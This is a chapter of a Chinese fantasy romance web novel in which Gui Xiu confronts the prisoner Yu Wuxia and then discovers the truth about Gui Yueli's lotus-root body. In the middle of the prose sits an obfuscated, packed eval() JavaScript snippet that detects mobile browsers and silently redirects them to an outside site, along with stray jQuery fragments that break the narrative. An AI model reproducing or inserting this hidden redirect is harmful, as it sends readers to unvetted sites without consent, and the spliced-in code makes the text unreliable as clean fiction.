鬼珛走出关押阿娟的牢房,有些魂不守舍,这到底是怎一回事?她突然想起那个女子,那个和她一样爱着鬼月离的女子,飞渺。
和礼辰留成婚前,她以为自己是当年的三千游魂之一,所以才非走不可。
后开知道飞渺才是那个人后,她也没有想更多,更没有想过鬼月离的身份问题……是啊……九大魂池,集天地之灵气才养成的精魂,命体是什么呢?
不是魂池里的生命吗?
如果不是魂池里的生命,就是三界的生命。
好像还真是没有想过他的命体是什么。
可是按照阿娟的意思,藕体魂身,这藕,必然只是作为骨骼之用……也就是说,他和水卿卿他们一样,命体无命,只是一副骨架。
没有命的命体……
没有命的命体,魂可出身,体可舍弃,无父无母,无女无子……
他永远,都是一介孤魂。
“怎么了?”一个手掌拍在鬼珛的肩膀上,“她说什么了,让你这么心不在焉的,叫了几遍都没有答应。”
是水卿卿。
“啊……没事,什么事?”鬼珛将自己拉回来。
“那个玉无瑕,说要见你。”
“见我?”
“对,说的是和你有什么约定……”
“噢……我知道了。”
鬼珛提步朝玉无瑕的牢房走去,金三瞬等人都还在,她让他们先回去。
“叫我干什么?”
“你把她怎么了?”
“你以为我把她怎么了?你现在不仅要管灵岫,还要管她的姐姐了?”
“她不是幕后的人,你不必太为难她。”
“那你说说,幕后的人是谁?”
“我不知道。”
“那不就得了?她是你的上级,知道的一定比你多啊……不过你们这幕后之人也是奇怪啊,专门找和灵岫亲近的人下手,你说说这幕后的人,会不会也是和灵岫亲近的人啊?不然,他也不会先于你们知道她的游魂去向了……若是这样的话,此人和灵岫如此亲近,你又如何会不认识呢?还是说,你在骗我,你在保护的人,是谁?”
“我真的不知道,刚才你也看到了,她是来杀我的。”
“我看你们一路,相谈甚欢啊……”
“那不过是表象罢了,她那摆明是想将我骗去人少的地方杀。”
“你知道就好,你这么为她着想,她可不一定是这么想的。”
玉无瑕愣了一下,“是……我刚刚就随口一问,要怎么处置她自然是你们的事,只是之前我们说好的,若是将人抓到,就放我出去,现在也该放我出去了吧?”
“可是我记得,你说的是‘如果人活着,就给你一个院子’来着吧?”
玉无瑕的眸光突然变得凌冽,“是。”
“她死了。”鬼珛干脆道。
“你骗我。”
“我没有骗你,我没有必要骗你。”
“你真的见过她?”
“当然。”
“在哪里?”
“就在圣清池,你抽魂的时候。你分了三轮,让我舍掉过去的经历,过去的人,最后一轮,是舍掉自己,对吧?”
玉无瑕沉默不语。
“你以祛除魔性为幌子,实际上就是为了第三轮,让我舍掉自己。你让我杀掉过去的我,得到新的我,让我以为这样,就能祛除魔性了。真是好精密的一番算计!当时她就在我面前,像现在你我这么近。”鬼珛向前走了一步,“她站在我面前,让我杀了我自己。你猜怎么着?”
鬼珛又向前走了半步,她的手在玉无瑕的身后一拍,“我一刀把她给捅死了!”
“哈哈哈哈哈,她瞬间就消散了。”
“是你杀了她!”玉无瑕振动手中的铁链。
鬼珛向后退了退,刚好到他够不到的位置,冷静道:“是你。若不是你非要抽魂,我又怎会杀她?那时候的我,甚至不知道她是谁,甚至可以说,是你和她要一起谋杀我,我不过是自保罢了。”
鬼珛说完,朝外面走去。
“等等!”玉无瑕喊道。
“你自己选的,如果死了,给你消息。”
“你放我出去,我或许能帮你。”
“帮我?”
“帮你找出幕后之人。”
“你是想杀我吧……”
鬼珛说完,大步走了出去。傍晚,她提前去了鬼月离的院子。
他坐在屋顶上看漫天的晚霞,脸上是平静和淡然。
“怎么坐在风这么大的地方?”鬼珛将一件衣服披在鬼月离的身上。
“许久没有看到这么漂亮的晚霞了。”鬼月离看着天边说道。
“你若是想看,我让人建一个高楼,专门看晚霞。”
“不必如此铺张,这里就蛮好。”
“魂境最近的事情还好吧?”
“只要君上对魂境满意,一切就是好的。”
“满意,怎么会不满意。”鬼珛看着远处的云彩,“鬼君还是叫我阿珛吧……这么多年,都习惯了。”
鬼月离转过头来看了鬼珛一眼,沉默半晌后说道:“听说日前,玉无瑕逃走了?”
“无妨,已经抓回了了。”
“我还不知道阿珛和这玉无瑕是怎么认识的?”
“就是……也没什么好说的,都是在他的算计中罢了。”
“嗯……我也还一直没有听阿珛说过离开魂境后的一切。”
“这也……”
“这也是没什么好讲的?”
“一开始一直在炼魂器里,我本来想着,要不就死在那里好了……那里的日子过得很快,一眨眼就是一天,你们在外面过了几个月,我却像是在里面过了几年。后来,因为我的魂力太高,阴差阳错救了几个人,阴差阳错地燃起来活回来的愿望,然后就打破了炼魂器,冲出来了。刚出来的时候,我还以为这里是天界,也不知道为什么,我开始控制不住地频频杀人,就是你后来看到的那样,玉无瑕引导我去除身上的魔气,实际上,是他要抽走我的游魂。”鬼珛的语气云淡风轻,好像这些事情并不是发生在她的身上。
鬼月离的眼神早就从晚霞转回鬼珛的脸上,他抓住鬼珛的手,“对不起,让你独自承担了这么多。”
鬼珛一笑,“其实玉无瑕有一句话说得对,如果没有这一切话,我也不会是现在的我,所以,没有关系。”
“但是他只是要抽魂而已,为什么要将你放到炼魂器里绕一大圈呢?”
“因为他怕在抽魂的时候出差错,鬼君难道不知道吗?”鬼珛转头看着鬼月离,“一般的游魂,是抗不过抽魂之苦的,若是我在他施法的过程中,受不住消散了,他就永远失去她要找的人了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16461069|185417||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“是……是有这么回事来着。”鬼月离握着鬼珛的手又紧了一些,眼中都是神伤,“可是,万一你真的死在炼魂器里了呢?”
两人说话间,天空中的晚霞已经消散,只剩下一片清冷的蓝。
“我那时还真是想死在那里,”鬼珛笑了笑,“现在想想,那整个体系都是他控制的,又怎么会让我死在里面。更不必说,他还分了一个分身游魂进去。”
“所以你们是在炼魂器里面相识的?”
“对……”鬼珛深深叹了一口气,“不过,在炼魂器里面的那个人,已经死了。”她看着鬼月离的侧脸,“我也是,当时竟然没有认出那是一个分身游魂……好像总是看不清身边的人,即便是相处了很久,还是不知道对方的来历。”
“不怪你,你一个人在他控制的体系里,又怎么会发现这么多?要怪,也是怪我没有保护好你。”
“对,怪你。”鬼珛的眼眶突然有些湿润,“怪你什么都没有告诉我……”她说着,握住他的手腕,淡紫色的光晕环绕在上面,淡淡的藕骨痕迹从手臂里面显现出来,鬼月离连忙将手收回去,跳下了屋顶。
鬼珛追上去,险些被面前瞬间关上的门打在脸上。
“鬼君,鬼君!”
鬼月离没有回应她。
“我进来啦……”
屋里还是没有声音。
身后清冷的蓝变成深邃的蓝,再过一会儿,就要变成黑色。
鬼珛在门口左右踌躇了半晌后,轻轻推门进去。
屋子里黑黑的,反着窗外溢进来的淡淡蓝光。
“鬼君?”鬼珛对着里面喊了一声。
一眼望去,没人。仔细一看,榻上没人,床上也没人……鬼珛赶紧检查窗户。
窗户没有打开的痕迹……
难道是用别的法术走了……
她站在原地,有些怅然若失。
看来是我把他吓到了……
她刚刚,检查了他的魂骨……果然如阿娟所说……
她拖着步子往外走,一个瑟缩的身影突然出现在眼角的余光里,她转过身,朝着那个身影走去。
“鬼君?”
“月离?”
终于,在鬼珛走到只剩下两个门的距离时,那个影子道:“别过来。”
鬼珛松了一口气,人还在……
“好,我不过来,你不要紧张。”她站在原地一动不动。
半晌,鬼月离开口道:“你是什么时候知道的?”
“……今天。”
“谁告诉你的?”
“玉无瑕背后的那个人,今天抓到了,她说的。”说到这里,鬼珛似乎意识到有些不对劲,“我也不是相信她,我就是好奇,所以看一看,我没有别的意思。”
“现在你看到了,一切都是真的。”
“是,我看到了。”鬼珛感到空气中的压力,她看了看左右,想去将窗户打开,想了想还是算了,她蹲下身,坐下地上,缓缓开口道:“但是这都没有关系,无论鬼君你到底是谁,都是我的鬼君。”
鬼月离嘴角一咧,全是苦笑。
“你在魂境待了那么多年,应该知道魂身藕骨是什么意思。”
“我知道,我知道……我知道。”鬼珛的声音越来越弱,她深吸了一口气,又鼓起勇气问道:“鬼君是因为这个原因才要将我推出去的吗?”